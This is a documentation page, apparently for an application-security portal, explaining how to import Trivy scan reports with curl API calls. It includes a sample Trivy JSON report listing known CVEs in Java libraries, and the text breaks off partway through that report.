Trivy's container scanning capabilities are particularly noteworthy, as it can inspect Docker images for vulnerabilities within OS packages, libraries, and other components. This ensures that containerized applications are built on a secure foundation, minimizing the risk of exploitation through known vulnerabilities.

In addition to container scanning, Trivy also supports code scanning by examining code repositories for security issues.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./trivy-code.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Trivy Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git"
```

{% endcode %}

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./trivy-image.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Trivy Scan" -F "branch=dev"  -F "docker_image=registry.gitlab.com/whitespots-public/appsec-portal/back/auto_validator:latest"
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Trivy Scan)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch

Asset information, if an [auditor](/auditor) is used

9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git
10.  `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest
11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io
12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0

**Report example:**

```json
{
  "SchemaVersion": 2,
  "ArtifactName": ".",
  "ArtifactType": "filesystem",
  "Metadata": {
    "ImageConfig": {
      "architecture": "",
      "created": "0001-01-01T00:00:00Z",
      "os": "",
      "rootfs": {
        "type": "",
        "diff_ids": null
      },
      "config": {}
    }
  },
  "Results": [
    {
      "Target": "pom.xml",
      "Class": "lang-pkgs",
      "Type": "pom",
      "Vulnerabilities": [
        {
          "VulnerabilityID": "CVE-2022-25647",
          "PkgID": "com.google.code.gson:gson:2.8.1",
          "PkgName": "com.google.code.gson:gson",
          "InstalledVersion": "2.8.1",
          "FixedVersion": "2.8.9",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2022-25647",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Deserialization of Untrusted Data in com.google.code.gson-gson",
          "Description": "The package com.google.code.gson:gson before 2.8.9 are vulnerable to Deserialization of Untrusted Data via the writeReplace() method in internal classes, which may lead to DoS attacks.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H",
              "V3Score": 7.7
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V2Score": 5,
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            }
          },
          "References": [
            "https://access.redhat.com/security/cve/CVE-2022-25647",
            "https://github.com/google/gson",
            "https://github.com/google/gson/pull/1991",
            "https://github.com/google/gson/pull/1991/commits",
            "https://lists.debian.org/debian-lts-announce/2022/05/msg00015.html",
            "https://lists.debian.org/debian-lts-announce/2022/09/msg00009.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-25647",
            "https://security.netapp.com/advisory/ntap-20220901-0009/",
            "https://snyk.io/vuln/SNYK-JAVA-COMGOOGLECODEGSON-1730327",
            "https://www.cve.org/CVERecord?id=CVE-2022-25647",
            "https://www.debian.org/security/2022/dsa-5227",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2022-05-01T16:15:00Z",
          "LastModifiedDate": "2022-11-28T17:33:00Z"
        },
        {
          "VulnerabilityID": "CVE-2019-10086",
          "PkgID": "commons-beanutils:commons-beanutils:1.7.0",
          "PkgName": "commons-beanutils:commons-beanutils",
          "InstalledVersion": "1.7.0",
          "FixedVersion": "1.9.4",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-10086",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "does not suppresses the class property in PropertyUtilsBean by default",
          "Description": "In Apache Commons Beanutils 1.9.2, a special BeanIntrospector class was added which allows suppressing the ability for an attacker to access the classloader via the class property available on all Java objects. We, however were not using this by default characteristic of the PropertyUtilsBean.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
              "V3Score": 7.3
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
              "V2Score": 7.5,
              "V3Score": 7.3
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
              "V3Score": 7.3
            }
          },
          "References": [
            "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00007.html",
            "http://mail-archives.apache.org/mod_mbox/www-announce/201908.mbox/%3cC628798F-315D-4428-8CB1-4ED1ECC958E4%40apache.org%3e",
            "http://mail-archives.apache.org/mod_mbox/www-announce/201908.mbox/%3cC628798F-315D-4428-8CB1-4ED1ECC958E4@apache.org%3e",
            "https://access.redhat.com/errata/RHSA-2019:4317",
            "https://access.redhat.com/errata/RHSA-2020:0057",
            "https://access.redhat.com/errata/RHSA-2020:0194",
            "https://access.redhat.com/errata/RHSA-2020:0804",
            "https://access.redhat.com/errata/RHSA-2020:0805",
            "https://access.redhat.com/errata/RHSA-2020:0806",
            "https://access.redhat.com/errata/RHSA-2020:0811",
            "https://access.redhat.com/security/cve/CVE-2019-10086",
            "https://commons.apache.org/proper/commons-beanutils/javadocs/v1.9.4/RELEASE-NOTES.txt",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10086",
            "https://github.com/apache/commons-beanutils",
            "https://github.com/apache/commons-beanutils/commit/dd48f4e589462a8cdb1f29bbbccb35d6b0291d58",
            "https://github.com/apache/commons-beanutils/pull/7",
            "https://issues.apache.org/jira/browse/BEANUTILS-520",
            "https://linux.oracle.com/cve/CVE-2019-10086.html",
            "https://linux.oracle.com/errata/ELSA-2020-0194.html",
            "https://lists.apache.org/thread.html/02094ad226dbc17a2368beaf27e61d8b1432f5baf77d0ca995bb78bc%40%3Cissues.commons.apache.org%3E",
            "https://lists.apache.org/thread.html/02094ad226dbc17a2368beaf27e61d8b1432f5baf77d0ca995bb78bc@%3Cissues.commons.apache.org%3E",
            "https://lists.apache.org/thread.html/1f78f1e32cc5614ec0c5b822ba4bd7fc8e8b5c46c8e038b6bd609cb5%40%3Cissues.commons.apache.org%3E",
            "https://lists.apache.org/thread.html/1f78f1e32cc5614ec0c5b822ba4bd7fc8e8b5c46c8e038b6bd609cb5@%3Cissues.commons.apache.org%3E",
            "https://lists.apache.org/thread.html/2fd61dc89df9aeab738d2b49f48d42c76f7d53b980ba04e1d48bce48%40%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/2fd61dc89df9aeab738d2b49f48d42c76f7d53b980ba04e1d48bce48@%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/3d1ed1a1596c08c4d5fea97b36c651ce167b773f1afc75251ce7a125%40%3Ccommits.tinkerpop.apache.org%3E",
            "https://lists.apache.org/thread.html/3d1ed1a1596c08c4d5fea97b36c651ce167b773f1afc75251ce7a125@%3Ccommits.tinkerpop.apache.org%3E",
            "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E",
            "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E",
            "https://lists.apache.org/thread.html/5261066cd7adee081ee05c8bf0e96cf0b2eeaced391e19117ae4daa6%40%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/5261066cd7adee081ee05c8bf0e96cf0b2eeaced391e19117ae4daa6@%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/956995acee0d8bc046f1df0a55b7fbeb65dd2f82864e5de1078bacb0%40%3Cissues.commons.apache.org%3E",
            "https://lists.apache.org/thread.html/956995acee0d8bc046f1df0a55b7fbeb65dd2f82864e5de1078bacb0@%3Cissues.commons.apache.org%3E",
            "https://lists.apache.org/thread.html/a684107d3a78e431cf0fbb90629e8559a36ff8fe94c3a76e620b39fa%40%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/a684107d3a78e431cf0fbb90629e8559a36ff8fe94c3a76e620b39fa@%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E",
            "https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E",
            "https://lists.apache.org/thread.html/c94bc9649d5109a663b2129371dc45753fbdeacd340105548bbe93c3%40%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/c94bc9649d5109a663b2129371dc45753fbdeacd340105548bbe93c3@%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/d6ca9439c53374b597f33b7ec180001625597db48ea30356af01145f%40%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/d6ca9439c53374b597f33b7ec180001625597db48ea30356af01145f@%3Cdev.shiro.apache.org%3E",
            "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E",
            "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E",
            "https://lists.apache.org/thread.html/r18d8b4f9263e5cad3bbaef0cdba0e2ccdf9201316ac4b85e23eb7ee4%40%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/r18d8b4f9263e5cad3bbaef0cdba0e2ccdf9201316ac4b85e23eb7ee4@%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/r2d5f1d88c39bd615271abda63964a0bee9b2b57fef1f84cb4c43032e%40%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/r2d5f1d88c39bd615271abda63964a0bee9b2b57fef1f84cb4c43032e@%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/r306c0322aa5c0da731e03f3ce9f07f4745c052c6b73f4e78faf232ca%40%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/r306c0322aa5c0da731e03f3ce9f07f4745c052c6b73f4e78faf232ca@%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/r43de02fd4a4f52c4bdeff8c02f09625d83cd047498009c1cdab857db%40%3Cdev.rocketmq.apache.org%3E",
            "https://lists.apache.org/thread.html/r43de02fd4a4f52c4bdeff8c02f09625d83cd047498009c1cdab857db@%3Cdev.rocketmq.apache.org%3E",
            "https://lists.apache.org/thread.html/r46e536fc98942dce99fadd2e313aeefe90c1a769c5cd85d98df9d098%40%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/r46e536fc98942dce99fadd2e313aeefe90c1a769c5cd85d98df9d098@%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/r513a7a21c422170318115463b399dd58ab447fe0990b13e5884f0825%40%3Ccommits.dolphinscheduler.apache.org%3E",
            "https://lists.apache.org/thread.html/r513a7a21c422170318115463b399dd58ab447fe0990b13e5884f0825@%3Ccommits.dolphinscheduler.apache.org%3E",
            "https://lists.apache.org/thread.html/r6194ced4828deb32023cd314e31f41c61d388b58935d102c7de91f58%40%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/r6194ced4828deb32023cd314e31f41c61d388b58935d102c7de91f58@%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/r967953a14e05016bc4bcae9ef3dd92e770181158b4246976ed8295c9%40%3Cdev.brooklyn.apache.org%3E",
            "https://lists.apache.org/thread.html/r967953a14e05016bc4bcae9ef3dd92e770181158b4246976ed8295c9@%3Cdev.brooklyn.apache.org%3E",
            "https://lists.apache.org/thread.html/ra41fd0ad4b7e1d675c03a5081a16a6603085a4e37d30b866067566fe%40%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/ra41fd0ad4b7e1d675c03a5081a16a6603085a4e37d30b866067566fe@%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/ra87ac17410a62e813cba901fdd4e9a674dd53daaf714870f28e905f1%40%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/ra87ac17410a62e813cba901fdd4e9a674dd53daaf714870f28e905f1@%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/ra9a139fdc0999750dcd519e81384bc1fe3946f311b1796221205f51c%40%3Ccommits.dolphinscheduler.apache.org%3E",
            "https://lists.apache.org/thread.html/ra9a139fdc0999750dcd519e81384bc1fe3946f311b1796221205f51c@%3Ccommits.dolphinscheduler.apache.org%3E",
            "https://lists.apache.org/thread.html/racd3e7b2149fa2f255f016bd6bffab0fea77b6fb81c50db9a17f78e6%40%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/racd3e7b2149fa2f255f016bd6bffab0fea77b6fb81c50db9a17f78e6@%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/rae81e0c8ebdf47ffaa85a01240836bfece8a990c48f55c7933162b5c%40%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/rae81e0c8ebdf47ffaa85a01240836bfece8a990c48f55c7933162b5c@%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1f76c2c0a4d6efb8a3523974f9d085d5838b73e7bffdf9a8f212997%40%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1f76c2c0a4d6efb8a3523974f9d085d5838b73e7bffdf9a8f212997@%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/rb8dac04cb7e9cc5dedee8dabaa1c92614f590642e5ebf02a145915ba%40%3Ccommits.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/rb8dac04cb7e9cc5dedee8dabaa1c92614f590642e5ebf02a145915ba@%3Ccommits.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/rcc029be4edaaf5b8bb85818aab494e16f312fced07a0f4a202771ba2%40%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/rcc029be4edaaf5b8bb85818aab494e16f312fced07a0f4a202771ba2@%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/rd2d2493f4f1af6980d265b8d84c857e2b7ab80a46e1423710c448957%40%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/rd2d2493f4f1af6980d265b8d84c857e2b7ab80a46e1423710c448957@%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/re2028d4d76ba1db3e3c3a722d6c6034e801cc3b309f69cc166eaa32b%40%3Ccommits.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/re2028d4d76ba1db3e3c3a722d6c6034e801cc3b309f69cc166eaa32b@%3Ccommits.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/re3cd7cb641d7fc6684e4fc3c336a8bad4a01434bb5625a06e3600fd1%40%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/re3cd7cb641d7fc6684e4fc3c336a8bad4a01434bb5625a06e3600fd1@%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/rec74f3a94dd850259c730b4ba6f7b6211222b58900ec088754aa0534%40%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/rec74f3a94dd850259c730b4ba6f7b6211222b58900ec088754aa0534@%3Cissues.nifi.apache.org%3E",
            "https://lists.apache.org/thread.html/reee57101464cf7622d640ae013b2162eb864f603ec4093de8240bb8f%40%3Cdev.atlas.apache.org%3E",
            "https://lists.apache.org/thread.html/reee57101464cf7622d640ae013b2162eb864f603ec4093de8240bb8f@%3Cdev.atlas.apache.org%3E",
            "https://lists.debian.org/debian-lts-announce/2019/08/msg00030.html",
            "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4APPGLBWMFAS4WHNLR4LIJ65DJGPV7TF/",
            "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JIUYSL2RSIWZVNSUIXJTIFPIPIF6OAIO/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4APPGLBWMFAS4WHNLR4LIJ65DJGPV7TF/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JIUYSL2RSIWZVNSUIXJTIFPIPIF6OAIO/",
            "https://nvd.nist.gov/vuln/detail/CVE-2019-10086",
            "https://ubuntu.com/security/notices/USN-4766-1",
            "https://www.cve.org/CVERecord?id=CVE-2019-10086",
            "https://www.oracle.com//security-alerts/cpujul2021.html",
            "https://www.oracle.com/security-alerts/cpuApr2021.html",
            "https://www.oracle.com/security-alerts/cpuapr2020.html",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujan2020.html",
            "https://www.oracle.com/security-alerts/cpujan2021.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html"
          ],
          "PublishedDate": "2019-08-20T21:15:00Z",
          "LastModifiedDate": "2023-11-07T03:02:00Z"
        },
        {
          "VulnerabilityID": "CVE-2015-7501",
          "PkgID": "commons-collections:commons-collections:3.1",
          "PkgName": "commons-collections:commons-collections",
          "InstalledVersion": "3.1",
          "FixedVersion": "3.2.2",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2015-7501",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "apache-commons-collections: InvokerTransformer code execution during deserialisation",
          "Description": "Red Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; Data Grid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; Enterprise Application Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service Works (FSW) 6.x; Operations Network (JBoss ON) 3.x; Portal 6.x; SOA Platform (SOA-P) 5.x; Web Server (JWS) 3.x; Red Hat OpenShift/xPAAS 3.x; and Red Hat Subscription Asset Manager 1.3 allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 10,
              "V3Score": 9.8
            },
            "redhat": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V2Score": 7.5
            }
          },
          "References": [
            "http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/",
            "http://rhn.redhat.com/errata/RHSA-2015-2500.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2501.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2502.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2514.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2516.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2517.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2521.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2522.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2524.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2670.html",
            "http://rhn.redhat.com/errata/RHSA-2015-2671.html",
            "http://rhn.redhat.com/errata/RHSA-2016-0040.html",
            "http://rhn.redhat.com/errata/RHSA-2016-1773.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/78215",
            "http://www.securitytracker.com/id/1034097",
            "http://www.securitytracker.com/id/1037052",
            "http://www.securitytracker.com/id/1037053",
            "http://www.securitytracker.com/id/1037640",
            "https://access.redhat.com/security/cve/CVE-2015-7501",
            "https://access.redhat.com/security/vulnerabilities/2059393",
            "https://access.redhat.com/solutions/2045023",
            "https://arxiv.org/pdf/2306.05534.pdf",
            "https://bugzilla.redhat.com/show_bug.cgi?id=1279330",
            "https://commons.apache.org/proper/commons-collections/release_4_1.html",
            "https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/",
            "https://github.com/apache/commons-collections",
            "https://github.com/jensdietrich/xshady-release/tree/main/CVE-2015-7501",
            "https://issues.apache.org/jira/browse/COLLECTIONS-580.",
            "https://linux.oracle.com/cve/CVE-2015-7501.html",
            "https://linux.oracle.com/errata/ELSA-2015-2671.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2015-7501",
            "https://rhn.redhat.com/errata/RHSA-2015-2536.html",
            "https://sourceforge.net/p/collections/code/HEAD/tree/",
            "https://www.cve.org/CVERecord?id=CVE-2015-7501",
            "https://www.oracle.com/security-alerts/cpujul2020.html"
          ],
          "PublishedDate": "2017-11-09T17:29:00Z",
          "LastModifiedDate": "2020-07-15T03:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2015-6420",
          "PkgID": "commons-collections:commons-collections:3.1",
          "PkgName": "commons-collections:commons-collections",
          "InstalledVersion": "3.1",
          "FixedVersion": "3.2.2",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2015-6420",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Insecure Deserialization in Apache Commons Collection",
          "Description": "Serialized-object interfaces in certain Cisco Collaboration and Social Media; Endpoint Clients and Client Software; Network Application, Service, and Acceleration; Network and Content Security Devices; Network Management and Provisioning; Routing and Switching - Enterprise and Service Provider; Unified Computing; Voice and Unified Communications Devices; Video, Streaming, TelePresence, and Transcoding Devices; Wireless; and Cisco Hosted Services products allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V2Score": 7.5
            }
          },
          "References": [
            "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20151209-java-deserialization",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html",
            "http://www.securityfocus.com/bid/78872",
            "https://arxiv.org/pdf/2306.05534",
            "https://github.com/apache/commons-collections",
            "https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05376917",
            "https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05390722",
            "https://lists.apache.org/thread.html/r352e40ca9874d1beb4ad95403792adca7eb295e6bc3bd7b65fabcc21%40%3Ccommits.samza.apache.org%3E",
            "https://lists.apache.org/thread.html/r352e40ca9874d1beb4ad95403792adca7eb295e6bc3bd7b65fabcc21@%3Ccommits.samza.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2015-6420",
            "https://www.kb.cert.org/vuls/id/581311",
            "https://www.tenable.com/security/research/tra-2017-14",
            "https://www.tenable.com/security/research/tra-2017-23"
          ],
          "PublishedDate": "2015-12-15T05:59:00Z",
          "LastModifiedDate": "2023-11-07T02:26:00Z"
        },
        {
          "VulnerabilityID": "CVE-2016-1000031",
          "PkgID": "commons-fileupload:commons-fileupload:1.3.2",
          "PkgName": "commons-fileupload:commons-fileupload",
          "InstalledVersion": "1.3.2",
          "FixedVersion": "1.3.3",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2016-1000031",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "DiskFileItem file manipulation",
          "Description": "Apache Commons FileUpload before 1.3.3 DiskFileItem File Manipulation Remote Code Execution",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-284"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
              "V2Score": 6.8,
              "V3Score": 7.3
            }
          },
          "References": [
            "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00036.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/93604",
            "http://www.tenable.com/security/research/tra-2016-12",
            "http://www.zerodayinitiative.com/advisories/ZDI-16-570/",
            "https://access.redhat.com/security/cve/CVE-2016-1000031",
            "https://github.com/advisories/GHSA-7x9j-7223-rg5m",
            "https://issues.apache.org/jira/browse/FILEUPLOAD-279",
            "https://issues.apache.org/jira/browse/WW-4812",
            "https://lists.apache.org/thread.html/708d94141126eac03011144a971a6411fcac16d9c248d1d535a39451%40%3Csolr-user.lucene.apache.org%3E",
            "https://lists.apache.org/thread.html/708d94141126eac03011144a971a6411fcac16d9c248d1d535a39451@%3Csolr-user.lucene.apache.org%3E",
            "https://lists.apache.org/thread.html/d66657323fd25e437face5e84899c8ca404ccd187e81c3f2fa8b6080%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/d66657323fd25e437face5e84899c8ca404ccd187e81c3f2fa8b6080@%3Cannounce.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2016-1000031",
            "https://security.netapp.com/advisory/ntap-20190212-0001/",
            "https://www.cve.org/CVERecord?id=CVE-2016-1000031",
            "https://www.oracle.com/security-alerts/cpuapr2020.html",
            "https://www.oracle.com/security-alerts/cpujan2020.html",
            "https://www.oracle.com/security-alerts/cpujan2021.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html",
            "https://www.oracle.com/security-alerts/cpuoct2020.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html",
            "https://www.tenable.com/security/research/tra-2016-12",
            "https://www.tenable.com/security/research/tra-2016-23",
